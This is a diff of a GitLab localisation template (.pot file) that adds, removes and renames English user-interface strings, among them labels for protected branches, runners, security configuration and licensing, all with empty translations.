msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
